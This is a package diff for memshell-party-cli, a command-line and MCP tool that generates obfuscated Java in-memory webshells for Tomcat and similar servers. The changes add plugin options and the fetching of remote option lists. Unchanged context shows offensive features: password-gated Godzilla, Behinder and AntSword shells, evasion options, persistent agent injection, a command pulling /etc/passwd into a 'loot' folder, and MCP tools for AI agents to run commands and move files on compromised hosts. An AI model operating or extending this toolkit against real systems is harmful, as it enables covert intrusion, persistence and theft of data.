memshell-party-cli 0.8.0 → 0.8.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.en.md CHANGED
@@ -115,6 +115,23 @@ multiple variants. Combining `-o` with `--json` writes the file and adds
115
115
  `outputFile: {destination, size, decoded}` to the JSON document. v3 also supports `--obfuscate`,
116
116
  `--obfuscation-options key=value,...`, and `--obfuscation-scope` (memshell only).
117
117
 
118
+ For built-in and external plugin fields not covered by a dedicated flag, repeat
119
+ `--tool-option name=value`, or pass `--tool-config <json|path>`. v3.1 `object` fields take JSON
120
+ objects directly. `--tool-config` can be inline JSON or a file path; `--tool-option` overrides
121
+ matching JSON-file keys and legacy convenience flags:
122
+
123
+ ```bash
124
+ memparty gen -s Tomcat -t PluginTool -y Filter -p DefaultBase64 \
125
+ --tool-option mode=fast \
126
+ --tool-option 'target={"id":"web-1","name":"Web"}'
127
+ ```
128
+
129
+ The wizard discovers plugin `string`, `enum`, and `object` parameters from the backend. For
130
+ v3.1 `remote-select` fields, it fetches the supplied HTTP(S) JSON endpoint and submits the
131
+ selected ID for a string field or the complete object for an object field. A sole remote field
132
+ selects its first option automatically. Set the environment variable named by `urlQueryParam`
133
+ to avoid entering the endpoint; generation never fetches it again on the backend.
134
+
118
135
  ### Discovering options
119
136
 
120
137
  ```bash
@@ -124,9 +141,16 @@ memparty config packers # packer parent/child tree
124
141
  memparty config command # Command encryptors & implementation classes
125
142
  memparty config tool-configs # v3 tool parameters and enum options
126
143
  memparty config obfuscation # v3 obfuscation option reference
144
+ memparty config plugins # v3.1 plugin metadata, SPI services and load status
145
+ memparty config remote-options PluginTool target --url https://example.com/options --json
127
146
  memparty config servers --json # machine-readable
128
147
  ```
129
148
 
149
+ `config tool-configs` describes remote metadata as `ui.kind=remote-select`; `config remote-options`
150
+ returns `{label, value}` choices ready to submit. If `--url` is omitted, it reads the environment
151
+ variable named by the field's `urlQueryParam`. Plugin `validate()` errors are returned unchanged
152
+ by the API; the CLI does not hide or retry them.
153
+
130
154
  ### Probe shells
131
155
 
132
156
  ```bash
@@ -403,7 +427,7 @@ Example Claude Code / Claude Desktop config:
403
427
  ```
404
428
 
405
429
  Exposed tools: `list_servers`, `list_config`, `list_packers`, `list_command_configs`,
406
- `list_shell_tool_configs`, `list_obfuscation_options`, `generate_memshell`, `generate_probe`, `bytecode_decode`, `bytecode_transform`, `parse_classname`, `server_version`, `connect_test`,
430
+ `list_shell_tool_configs`, `list_plugins`, `list_remote_options`, `list_obfuscation_options`, `generate_memshell`, `generate_probe`, `bytecode_decode`, `bytecode_transform`, `parse_classname`, `server_version`, `connect_test`,
407
431
  `exec_command`, `download_file`, `upload_file`, `target_save`, `target_note`, `target_list`,
408
432
  `target_remove`, `log_list`.
409
433
 
@@ -412,6 +436,11 @@ optional `outputFile` argument to also write it to a local file (base64 auto-dec
412
436
  `.class`/`.jar`/`.zip`/`.ser`/`.bin`), and the response gains an `outputFile` field with the
413
437
  write result.
414
438
 
439
+ `generate_memshell` also accepts `toolOptions`: a map of arbitrary shell-tool names to string
440
+ values or JSON objects, including v3.1 plugin parameters. `toolOptionJson` is the string-encoded
441
+ alternative for object fields. Use `list_shell_tool_configs` to discover fields and
442
+ `list_remote_options` to resolve remote dropdowns before generation.
443
+
415
444
  ## AI skill
416
445
 
417
446
  The package ships `skills/memshell-party/SKILL.md` — a workflow guide for agents (server / tool /
package/README.md CHANGED
@@ -179,6 +179,8 @@ memparty download web1 /etc/passwd -o loot/passwd
179
179
  - `-o` 和 `--json` 可以同时用:文件照常写盘,JSON 里多一个 `outputFile` 字段(路径、大小、是否解码)。
180
180
  - v3 中 `Base64` 等父项只是 packer 分类,要选具体变体(如 `DefaultBase64`);旧 v2 后端仍支持聚合 packer,但不能配 `-o`。
181
181
  - v3 支持 `--obfuscate`、`--obfuscation-options key=value,...`、`--obfuscation-scope`(仅内存马)和 `--jdk java25`。
182
+ - v3.1 插件参数可用重复的 `--tool-option name=value` 或 `--tool-config <json|path>` 传入;`object` 类型直接写 JSON 对象。`tool-option` 覆盖同名的旧参数及 `tool-config` 字段。
183
+ - 插件的远程下拉字段可用 `memparty config remote-options <tool> <param> --url <endpoint>` 查询;交互向导会拉取选项,`string` 字段提交 ID,`object` 字段提交完整对象。
182
184
  - 探测支持 `-m ResponseHeader`;可用 `--resp-header-name` 指定回显头,未知中间件时 `--server Unknown`。
183
185
  - 走 MCP 时,`generate_memshell` / `generate_probe` 有个 `outputFile` 参数,效果同上。
184
186
  - Agent 加载参数使用 `--agent-args persist=true` 或 `--agent-args restore=true`;它是 attach 参数,不会发送给生成 API。JSON 和终端会给出 `java -jar agent.jar <pid> persist=true`、`jattach <pid> load instrument false agent.jar=persist=true` 示例。
@@ -204,8 +206,20 @@ memparty config tools Tomcat # 这个中间件支持哪些工具和挂载类
204
206
  memparty config packers # 打包器列表(按投放方式选)
205
207
  memparty config tool-configs # v3 各工具的参数名和枚举值
206
208
  memparty config obfuscation # v3 混淆参数参考
209
+ memparty config plugins # v3.1 外置插件、SPI 和加载状态
210
+ memparty config remote-options PluginTool target --url https://example.com/options --json
207
211
  ```
208
212
 
213
+ 插件生成示例:
214
+
215
+ ```bash
216
+ memparty gen -s Tomcat -t PluginTool -y Filter -p DefaultBase64 \
217
+ --tool-option mode=fast \
218
+ --tool-option 'target={"id":"web-1","name":"Web"}'
219
+ ```
220
+
221
+ `config tool-configs` 的 `ui.kind=remote-select` 表示远程字段,`urlQueryParam` 是同名的环境变量名;没有 `--url` 时会读这个环境变量。后端参数校验错误会原样返回,不会被 CLI 自动重试。
222
+
209
223
  每个命令都能加 `--help` 看详细参数和例子;完整参数参考见 [英文 README](README.en.md)。
210
224
 
211
225
  ## 后端:真实测试建议自建
package/dist/cli.js CHANGED
@@ -86,6 +86,14 @@ var MemPartyClient = class {
86
86
  getVersion() {
87
87
  return this.request("GET", "/api/version");
88
88
  }
89
+ async getPlugins() {
90
+ try {
91
+ return await this.request("GET", "/api/plugins");
92
+ } catch (err) {
93
+ if (err instanceof ApiError && err.status === 404) return [];
94
+ throw err;
95
+ }
96
+ }
89
97
  // ---------- generation ----------
90
98
  async generateMemShell(req) {
91
99
  const apiVersion = await this.getGenerationApiVersion();
@@ -251,6 +259,127 @@ function reportError(message, argv) {
251
259
  }
252
260
  }
253
261
 
262
+ // src/core/shell-tool-config.ts
263
+ function toolConfigForTool(configs, tool) {
264
+ return configs.find((config) => config.tool === tool);
265
+ }
266
+ function parseShellToolConfig(assignments, params) {
267
+ const result = {};
268
+ for (const assignment of assignments ?? []) {
269
+ const separator = assignment.indexOf("=");
270
+ if (separator <= 0) {
271
+ throw new Error(`Invalid --tool-option "${assignment}". Expected name=value.`);
272
+ }
273
+ const name = assignment.slice(0, separator).trim();
274
+ const rawValue = assignment.slice(separator + 1);
275
+ if (!name) throw new Error(`Invalid --tool-option "${assignment}". Expected name=value.`);
276
+ const param = params?.find((candidate) => candidate.name === name);
277
+ if (params !== void 0 && param === void 0) {
278
+ throw new Error(
279
+ `Unknown shell tool option "${name}". Available options: ${params.map((item) => item.name).join(", ") || "(none)"}.`
280
+ );
281
+ }
282
+ if (param?.type === "object") {
283
+ result[name] = parseJsonObject(rawValue, `--tool-option ${name}`);
284
+ } else if (rawValue.startsWith("{")) {
285
+ result[name] = parseJsonObject(rawValue, `--tool-option ${name}`);
286
+ } else {
287
+ result[name] = rawValue;
288
+ }
289
+ }
290
+ return result;
291
+ }
292
+ function parseToolConfigFile(source, params) {
293
+ const parsed = parseJsonObject(source, "--tool-config");
294
+ const assignments = Object.entries(parsed).map(([name, value]) => {
295
+ if (typeof value === "string") return `${name}=${value}`;
296
+ return `${name}=${JSON.stringify(value)}`;
297
+ });
298
+ return parseShellToolConfig(assignments, params);
299
+ }
300
+ function validateRequiredRemoteOptions(config, params) {
301
+ const missing = (params ?? []).filter((param) => param.ui?.kind === "remote-select" && param.ui.required).filter((param) => {
302
+ const value = config[param.name];
303
+ return value === void 0 || typeof value === "string" && value.trim() === "";
304
+ }).map((param) => param.name);
305
+ if (missing.length > 0) {
306
+ throw new Error(
307
+ `Missing required remote shell tool option(s): ${missing.join(", ")}. Provide them with --tool-option or --tool-config.`
308
+ );
309
+ }
310
+ }
311
+ function parseJsonObject(source, label) {
312
+ let parsed;
313
+ try {
314
+ parsed = JSON.parse(source);
315
+ } catch (err) {
316
+ throw new Error(`${label} must be valid JSON: ${err.message}`);
317
+ }
318
+ if (typeof parsed !== "object" || parsed === null || Array.isArray(parsed)) {
319
+ throw new Error(`${label} must be a JSON object.`);
320
+ }
321
+ return parsed;
322
+ }
323
+ function readRemotePath(value, path) {
324
+ if (!path) return value;
325
+ let current = value;
326
+ for (const segment of path.split(".")) {
327
+ if (!segment || typeof current !== "object" || current === null || Array.isArray(current) || !(segment in current)) {
328
+ return void 0;
329
+ }
330
+ current = current[segment];
331
+ }
332
+ return current;
333
+ }
334
+ function normalizeRemoteOptions(payload, hint, objectMode) {
335
+ const items = readRemotePath(payload, hint.itemsPath);
336
+ if (!Array.isArray(items)) {
337
+ throw new Error("Remote options response does not contain an array at itemsPath.");
338
+ }
339
+ return items.map((item) => {
340
+ if (typeof item !== "object" || item === null || Array.isArray(item)) {
341
+ throw new Error("Remote option items must be objects.");
342
+ }
343
+ const rawLabel = readRemotePath(item, hint.labelPath);
344
+ if (typeof rawLabel !== "string" && typeof rawLabel !== "number") {
345
+ throw new Error("Remote option labels must be strings or numbers.");
346
+ }
347
+ if (objectMode) return { label: String(rawLabel), value: item };
348
+ if (!hint.valuePath) throw new Error("String remote options require valuePath.");
349
+ const rawValue = readRemotePath(item, hint.valuePath);
350
+ if (typeof rawValue !== "string" && typeof rawValue !== "number") {
351
+ throw new Error("Remote option values must be strings or numbers.");
352
+ }
353
+ return { label: String(rawLabel), value: String(rawValue) };
354
+ });
355
+ }
356
+ function validateRemoteOptionsUrl(value) {
357
+ const url = new URL(value);
358
+ if (url.protocol !== "http:" && url.protocol !== "https:") {
359
+ throw new Error("Remote options URL must use HTTP or HTTPS.");
360
+ }
361
+ return url.toString();
362
+ }
363
+ async function fetchRemoteOptions(sourceUrl, hint, objectMode, fetchImpl = globalThis.fetch, signal) {
364
+ const url = validateRemoteOptionsUrl(sourceUrl);
365
+ const response = await fetchImpl(url, {
366
+ method: "GET",
367
+ headers: { Accept: "application/json" },
368
+ redirect: "follow",
369
+ signal
370
+ });
371
+ if (!response.ok) {
372
+ throw new Error(`Remote options request failed (${response.status} ${response.statusText}).`);
373
+ }
374
+ let payload;
375
+ try {
376
+ payload = await response.json();
377
+ } catch {
378
+ throw new Error("Remote options response must be valid JSON.");
379
+ }
380
+ return normalizeRemoteOptions(payload, hint, objectMode);
381
+ }
382
+
254
383
  // src/commands/config.ts
255
384
  function printJsonOrLines(data, json, renderLines) {
256
385
  if (json) {
@@ -272,6 +401,8 @@ Examples:
272
401
  $ memparty config command # Command-tool encryptors and impl classes
273
402
  $ memparty config tool-configs # v3+ tool parameter names and enum values
274
403
  $ memparty config obfuscation # v3+ obfuscation option reference
404
+ $ memparty config plugins # v3.1+ external plugin metadata and load status
405
+ $ memparty config remote-options PluginTool target --url https://example.com/options
275
406
  `
276
407
  );
277
408
  config.command("servers").description("List supported servers and their shell types").option("--json", "output raw JSON").action(async (opts, cmd) => {
@@ -316,11 +447,47 @@ Examples:
316
447
  () => configs.length ? configs.flatMap((config2) => [
317
448
  config2.tool,
318
449
  ...config2.params.map(
319
- (param) => ` ${param.name} (${param.type})${param.options.length ? `: ${param.options.join(", ")}` : ""}`
450
+ (param) => ` ${param.name} (${param.type})${param.options.length ? `: ${param.options.join(", ")}` : ""}${param.ui?.kind === "remote-select" ? ` [remote: ${param.ui.urlQueryParam}${param.ui.required ? ", required" : ""}]` : ""}`
320
451
  )
321
452
  ]) : ["No v3 shell-tool config endpoint on this backend."]
322
453
  );
323
454
  });
455
+ config.command("plugins").description("List external plugin metadata and load status (MemShellParty v3.1+)").option("--json", "output raw JSON").action(async (opts, cmd) => {
456
+ const client = createClient(cmd.optsWithGlobals());
457
+ const plugins = await client.getPlugins();
458
+ printJsonOrLines(
459
+ plugins,
460
+ opts.json,
461
+ () => plugins.length ? plugins.flatMap((plugin) => [
462
+ `${plugin.name}${plugin.version ? ` (${plugin.version})` : ""} [${plugin.loaded ? "loaded" : "not loaded"}]`,
463
+ ` jar: ${plugin.jarFileName}`,
464
+ ...plugin.author ? [` author: ${plugin.author}`] : [],
465
+ ...plugin.description ? [` description: ${plugin.description}`] : [],
466
+ ...plugin.homepage ? [` homepage: ${plugin.homepage}`] : [],
467
+ ...plugin.license ? [` license: ${plugin.license}`] : [],
468
+ ...plugin.source ? [` source: ${plugin.source}`] : [],
469
+ ...plugin.spiServices.length ? [` SPI: ${plugin.spiServices.join(", ")}`] : [],
470
+ ...plugin.loadError ? [` load error: ${plugin.loadError}`] : []
471
+ ]) : ["No external plugins (or the backend predates v3.1)."]
472
+ );
473
+ });
474
+ config.command("remote-options").description("Resolve a v3.1 remote-select field into string IDs or complete objects").argument("<tool>", "shell tool name").argument("<param>", "remote-select parameter name").option("--url <url>", "remote JSON endpoint (or set the field's urlQueryParam as an env var)").option("--object", "return complete objects instead of using the parameter's declared type").option("--json", "output raw JSON").action(async (tool, paramName, opts, cmd) => {
475
+ const client = createClient(cmd.optsWithGlobals());
476
+ const descriptor = (await client.getShellToolConfigs()).find((config2) => config2.tool === tool);
477
+ const param = descriptor?.params.find((candidate) => candidate.name === paramName);
478
+ if (!param?.ui || param.ui.kind !== "remote-select") {
479
+ throw new Error(`${tool}.${paramName} is not a remote-select shell tool option.`);
480
+ }
481
+ const sourceUrl = opts.url ?? process.env[param.ui.urlQueryParam];
482
+ if (!sourceUrl) {
483
+ throw new Error(`Provide --url or set the ${param.ui.urlQueryParam} environment variable.`);
484
+ }
485
+ const options = await fetchRemoteOptions(sourceUrl, param.ui, opts.object ?? param.type === "object");
486
+ printJsonOrLines(options, opts.json, () => options.map((option, index) => {
487
+ const value = typeof option.value === "string" ? option.value : JSON.stringify(option.value);
488
+ return `${index}: ${option.label} => ${value}`;
489
+ }));
490
+ });
324
491
  config.command("obfuscation").description("List obfuscation options (MemShellParty v3+)").option("--json", "output raw JSON").action(async (opts, cmd) => {
325
492
  const client = createClient(cmd.optsWithGlobals());
326
493
  const options = await client.getObfuscationOptions();
@@ -3987,6 +4154,7 @@ function generateSpringExpressionInjectorClassName() {
3987
4154
  return `org.springframework.expression.${randomChar(UPPERCASE_LETTERS)}${randomName}Util`;
3988
4155
  }
3989
4156
  function buildMemShellRequest(opts) {
4157
+ validateRequiredRemoteOptions(opts.shellToolConfig ?? {}, opts.shellToolParams);
3990
4158
  const injectorClassName = SPRING_GZIP_JDK17_RELATED_PACKERS.has(opts.packer) ? generateSpringExpressionInjectorClassName() : opts.injectorClassName;
3991
4159
  return {
3992
4160
  shellConfig: {
@@ -4013,7 +4181,8 @@ function buildMemShellRequest(opts) {
4013
4181
  headerValue: opts.headerValue,
4014
4182
  shellClassBase64: opts.shellClassBase64,
4015
4183
  encryptor: opts.encryptor,
4016
- implementationClass: opts.implementationClass
4184
+ implementationClass: opts.implementationClass,
4185
+ ...opts.shellToolConfig
4017
4186
  },
4018
4187
  injectorConfig: {
4019
4188
  injectorClassName,
@@ -4072,7 +4241,11 @@ var JDK_CHOICES = [
4072
4241
  }))
4073
4242
  ];
4074
4243
  async function runMemShellWizard(client) {
4075
- const [config, packerTree] = await Promise.all([client.getConfig(), client.getPackerTree()]);
4244
+ const [config, packerTree, toolConfigs] = await Promise.all([
4245
+ client.getConfig(),
4246
+ client.getPackerTree(),
4247
+ client.getShellToolConfigs()
4248
+ ]);
4076
4249
  const server = await select({
4077
4250
  message: "Target server",
4078
4251
  choices: Object.keys(config).map((s) => ({ name: s, value: s }))
@@ -4096,7 +4269,111 @@ async function runMemShellWizard(client) {
4096
4269
  choices: selected.children.map((name) => ({ name, value: name }))
4097
4270
  }) : category;
4098
4271
  const opts = { server, shellTool, shellType, packer };
4099
- switch (shellTool) {
4272
+ const toolConfig = toolConfigForTool(toolConfigs, shellTool);
4273
+ if (toolConfig) {
4274
+ opts.shellToolParams = toolConfig.params;
4275
+ opts.shellToolConfig = {};
4276
+ const visibleParams = toolConfig.params.filter((param) => param.ui?.kind === "remote-select" || !useRandomDefaults(toolConfig));
4277
+ const singleRemoteParam = visibleParams.length === 1 && visibleParams[0]?.ui?.kind === "remote-select" ? visibleParams[0] : void 0;
4278
+ for (const param of visibleParams) {
4279
+ const value = await promptToolParam(param, param.name === singleRemoteParam?.name);
4280
+ if (value !== void 0 && value !== "") opts.shellToolConfig[param.name] = value;
4281
+ }
4282
+ } else {
4283
+ await promptLegacyToolConfig(opts, client);
4284
+ }
4285
+ const shellClassName = await input({ message: "Shell class name (optional, random if empty)", default: "" });
4286
+ if (shellClassName) opts.shellClassName = shellClassName;
4287
+ opts.urlPattern = await input({ message: "URL pattern", default: "/*" });
4288
+ const jdk = await select({ message: "Target JDK", choices: JDK_CHOICES });
4289
+ if (jdk) opts.jdk = jdk;
4290
+ const toggles = await checkbox({
4291
+ message: "Options",
4292
+ choices: [
4293
+ { name: "shrink bytecode", value: "shrink", checked: true },
4294
+ { name: "static initialize", value: "staticInitialize", checked: true },
4295
+ { name: "bypass Java module", value: "byPassJavaModule" },
4296
+ { name: "lambda suffix", value: "lambdaSuffix" },
4297
+ { name: "debug", value: "debug" },
4298
+ { name: "class obfuscation (v3+)", value: "obfuscate" }
4299
+ ]
4300
+ });
4301
+ opts.shrink = toggles.includes("shrink");
4302
+ opts.staticInitialize = toggles.includes("staticInitialize");
4303
+ opts.byPassJavaModule = toggles.includes("byPassJavaModule");
4304
+ opts.lambdaSuffix = toggles.includes("lambdaSuffix");
4305
+ opts.debug = toggles.includes("debug");
4306
+ opts.obfuscate = toggles.includes("obfuscate");
4307
+ const confirmed = await confirm({ message: `Generate ${shellTool} ${shellType} for ${server} (${packer})?` });
4308
+ if (!confirmed) {
4309
+ throw new Error("Cancelled by user.");
4310
+ }
4311
+ return opts;
4312
+ }
4313
+ async function promptToolParam(param, autoSelectFirst = false) {
4314
+ const label = param.label || param.name;
4315
+ if (param.ui?.kind === "remote-select") {
4316
+ const defaultSource = process.env[param.ui.urlQueryParam] ?? "";
4317
+ const sourceUrl = defaultSource || await input({
4318
+ message: `${label}: remote options URL (${param.ui.urlQueryParam})${param.ui.required ? "" : " (optional)"}`,
4319
+ default: defaultSource
4320
+ });
4321
+ if (!sourceUrl) return void 0;
4322
+ const controller = new AbortController();
4323
+ const timer = setTimeout(() => controller.abort(), 3e4);
4324
+ try {
4325
+ const options = await fetchRemoteOptions(
4326
+ sourceUrl,
4327
+ param.ui,
4328
+ param.type === "object",
4329
+ globalThis.fetch,
4330
+ controller.signal
4331
+ );
4332
+ if (options.length === 0) throw new Error(`No remote options returned for ${param.name}.`);
4333
+ if (autoSelectFirst) return options[0].value;
4334
+ const selected = await select({
4335
+ message: label,
4336
+ choices: options.map((option, index) => ({ name: option.label, value: String(index) }))
4337
+ });
4338
+ return options[Number(selected)].value;
4339
+ } finally {
4340
+ clearTimeout(timer);
4341
+ }
4342
+ }
4343
+ if (param.type === "object") {
4344
+ const raw = await input({ message: `${label} (JSON object, optional)`, default: "" });
4345
+ if (!raw) return void 0;
4346
+ let value;
4347
+ try {
4348
+ value = JSON.parse(raw);
4349
+ } catch (err) {
4350
+ throw new Error(`${param.name} must be valid JSON: ${err.message}`);
4351
+ }
4352
+ if (typeof value !== "object" || value === null || Array.isArray(value)) {
4353
+ throw new Error(`${param.name} must be a JSON object.`);
4354
+ }
4355
+ return value;
4356
+ }
4357
+ if (param.type === "enum") {
4358
+ return select({
4359
+ message: label,
4360
+ choices: [
4361
+ { name: `backend default${param.placeholder ? ` (${param.placeholder})` : ""}`, value: "" },
4362
+ ...param.options.map((option) => ({ name: option, value: option }))
4363
+ ]
4364
+ });
4365
+ }
4366
+ if (param.name === "shellClassBase64") {
4367
+ const file = await input({ message: "Path to custom .class file" });
4368
+ return file ? readFileSync7(file).toString("base64") : void 0;
4369
+ }
4370
+ return input({ message: label, default: "", ...param.placeholder ? { placeholder: param.placeholder } : {} });
4371
+ }
4372
+ function useRandomDefaults(config) {
4373
+ return ["Godzilla", "GodzillaSession", "Behinder", "AntSword"].includes(config.tool);
4374
+ }
4375
+ async function promptLegacyToolConfig(opts, client) {
4376
+ switch (opts.shellTool) {
4100
4377
  case "Godzilla":
4101
4378
  case "GodzillaSession":
4102
4379
  opts.godzillaPass = await input({ message: "Godzilla pass", default: "pass" });
@@ -4110,14 +4387,14 @@ async function runMemShellWizard(client) {
4110
4387
  break;
4111
4388
  case "Command": {
4112
4389
  opts.commandParamName = await input({ message: "Command param name", default: "cmd" });
4113
- const cc = await client.getCommandConfigs();
4390
+ const commandConfig = await client.getCommandConfigs();
4114
4391
  opts.encryptor = await select({
4115
4392
  message: "Encryptor",
4116
- choices: cc.encryptors.map((e) => ({ name: e, value: e }))
4393
+ choices: commandConfig.encryptors.map((value) => ({ name: value, value }))
4117
4394
  });
4118
4395
  opts.implementationClass = await select({
4119
4396
  message: "Implementation class",
4120
- choices: cc.implementationClasses.map((e) => ({ name: e, value: e }))
4397
+ choices: commandConfig.implementationClasses.map((value) => ({ name: value, value }))
4121
4398
  });
4122
4399
  const template = await input({ message: "Command template (optional, {command} placeholder)", default: "" });
4123
4400
  if (template) opts.commandTemplate = template;
@@ -4128,48 +4405,30 @@ async function runMemShellWizard(client) {
4128
4405
  opts.shellClassBase64 = readFileSync7(file).toString("base64");
4129
4406
  break;
4130
4407
  }
4131
- default:
4132
- break;
4133
4408
  }
4134
4409
  opts.headerName = await input({ message: "Header name", default: "User-Agent" });
4135
4410
  const headerValue = await input({ message: "Header value (optional)", default: "" });
4136
4411
  if (headerValue) opts.headerValue = headerValue;
4137
- const shellClassName = await input({ message: "Shell class name (optional, random if empty)", default: "" });
4138
- if (shellClassName) opts.shellClassName = shellClassName;
4139
- opts.urlPattern = await input({ message: "URL pattern", default: "/*" });
4140
- const jdk = await select({ message: "Target JDK", choices: JDK_CHOICES });
4141
- if (jdk) opts.jdk = jdk;
4142
- const toggles = await checkbox({
4143
- message: "Options",
4144
- choices: [
4145
- { name: "shrink bytecode", value: "shrink", checked: true },
4146
- { name: "static initialize", value: "staticInitialize", checked: true },
4147
- { name: "bypass Java module", value: "byPassJavaModule" },
4148
- { name: "lambda suffix", value: "lambdaSuffix" },
4149
- { name: "debug", value: "debug" },
4150
- { name: "class obfuscation (v3+)", value: "obfuscate" }
4151
- ]
4152
- });
4153
- opts.shrink = toggles.includes("shrink");
4154
- opts.staticInitialize = toggles.includes("staticInitialize");
4155
- opts.byPassJavaModule = toggles.includes("byPassJavaModule");
4156
- opts.lambdaSuffix = toggles.includes("lambdaSuffix");
4157
- opts.debug = toggles.includes("debug");
4158
- opts.obfuscate = toggles.includes("obfuscate");
4159
- const confirmed = await confirm({ message: `Generate ${shellTool} ${shellType} for ${server} (${packer})?` });
4160
- if (!confirmed) {
4161
- throw new Error("Cancelled by user.");
4162
- }
4163
- return opts;
4164
4412
  }
4165
4413
 
4166
4414
  // src/commands/gen.ts
4167
4415
  var REQUIRED = ["server", "tool", "type", "packer"];
4168
- function toOptions(o) {
4416
+ async function toOptions(o, client) {
4169
4417
  let shellClassBase64 = o.shellClassBase64;
4170
4418
  if (o.shellClassFile) {
4171
4419
  shellClassBase64 = readFileSync8(o.shellClassFile).toString("base64");
4172
4420
  }
4421
+ const hasPluginOptions = (o.toolOption?.length ?? 0) > 0 || o.toolConfig !== void 0;
4422
+ const toolConfigs = hasPluginOptions ? await client.getShellToolConfigs() : [];
4423
+ const shellToolParams = hasPluginOptions ? toolConfigs.find((config) => config.tool === o.tool)?.params : void 0;
4424
+ const fromFile = o.toolConfig === void 0 ? {} : parseToolConfigFile(
4425
+ o.toolConfig.trimStart().startsWith("{") ? o.toolConfig : readFileSync8(o.toolConfig, "utf8"),
4426
+ shellToolParams
4427
+ );
4428
+ const shellToolConfig = {
4429
+ ...fromFile,
4430
+ ...parseShellToolConfig(o.toolOption, shellToolParams)
4431
+ };
4173
4432
  return {
4174
4433
  server: o.server,
4175
4434
  serverVersion: o.serverVersion,
@@ -4186,6 +4445,8 @@ function toOptions(o) {
4186
4445
  obfuscationOptions: parseObfuscationOptions(o.obfuscationOptions),
4187
4446
  obfuscationScope: o.obfuscationScope,
4188
4447
  shellClassName: o.shellClassName,
4448
+ shellToolConfig: hasPluginOptions ? shellToolConfig : void 0,
4449
+ shellToolParams,
4189
4450
  godzillaPass: o.godzillaPass,
4190
4451
  godzillaKey: o.godzillaKey,
4191
4452
  behinderPass: o.behinderPass,
@@ -4210,7 +4471,12 @@ function registerGenCommand(program) {
4210
4471
  "INJECTOR",
4211
4472
  "MEMSHELL"
4212
4473
  ])
4213
- ).option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla / GodzillaSession password").option("--godzilla-key <key>", "Godzilla / GodzillaSession key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("--agent-args <args>", "Agent load-time arguments, e.g. persist=true or restore=true (not sent to the generate API)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option4("--decode", "base64-decode the payload before writing")).addOption(new Option4("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
4474
+ ).option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option(
4475
+ "--tool-option <name=value>",
4476
+ "shell-tool-specific option; repeat for multiple fields; object values use JSON (v3.1+)",
4477
+ (value, previous = []) => [...previous, value],
4478
+ []
4479
+ ).option("--tool-config <json|path>", "shell-tool options as a JSON object or a JSON file path").option("--godzilla-pass <pass>", "Godzilla / GodzillaSession password").option("--godzilla-key <key>", "Godzilla / GodzillaSession key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("--agent-args <args>", "Agent load-time arguments, e.g. persist=true or restore=true (not sent to the generate API)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option4("--decode", "base64-decode the payload before writing")).addOption(new Option4("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
4214
4480
  "after",
4215
4481
  `
4216
4482
  Examples:
@@ -4223,6 +4489,8 @@ Examples:
4223
4489
  --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
4224
4490
  $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
4225
4491
  $ memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar --agent-args persist=true
4492
+ $ memparty gen -s Tomcat -t PluginTool -y Filter -p DefaultBase64 \\
4493
+ --tool-option profile='{"id":"web-1","name":"Web"}' --tool-option mode=fast
4226
4494
 
4227
4495
  Note: run 'memparty config' to list the available servers, tools, shell
4228
4496
  types and packers. On v3, parent packers are categories \u2014 pick a concrete
@@ -4230,6 +4498,9 @@ variant (e.g. DefaultBase64 instead of Base64). Legacy v2 backends still
4230
4498
  support aggregate packers, but -o cannot write several variants to one file.
4231
4499
  The --json output includes the gate header (shellToolConfig) you need for
4232
4500
  'memparty connect' / 'memparty exec'.
4501
+ Use 'memparty config tool-configs' to discover plugin string, enum and object
4502
+ fields. --tool-config can be an inline JSON object or a path to a JSON file.
4503
+ Repeated --tool-option values override matching keys from --tool-config.
4233
4504
  `
4234
4505
  ).action(async (opts, cmd) => {
4235
4506
  const client = createClient(cmd.optsWithGlobals());
@@ -4245,7 +4516,7 @@ The --json output includes the gate header (shellToolConfig) you need for
4245
4516
  `Missing required option(s): ${missing.map((m) => `--${m}`).join(", ")}. Run in a terminal for the wizard, or pass -i.`
4246
4517
  );
4247
4518
  }
4248
- memOpts = toOptions(opts);
4519
+ memOpts = await toOptions(opts, client);
4249
4520
  }
4250
4521
  const request = buildMemShellRequest(memOpts);
4251
4522
  const { agentArgs } = opts;
@@ -4484,6 +4755,10 @@ var memShellInput = {
4484
4755
  obfuscationOptions: z.string().optional().describe("obfuscation overrides: key=value, comma-separated"),
4485
4756
  obfuscationScope: z.enum(["ALL", "MEMSHELL_INJECTOR", "INJECTOR", "MEMSHELL"]).optional(),
4486
4757
  shellClassName: z.string().optional(),
4758
+ toolOptions: z.record(z.union([z.string(), z.record(z.unknown())])).optional().describe(
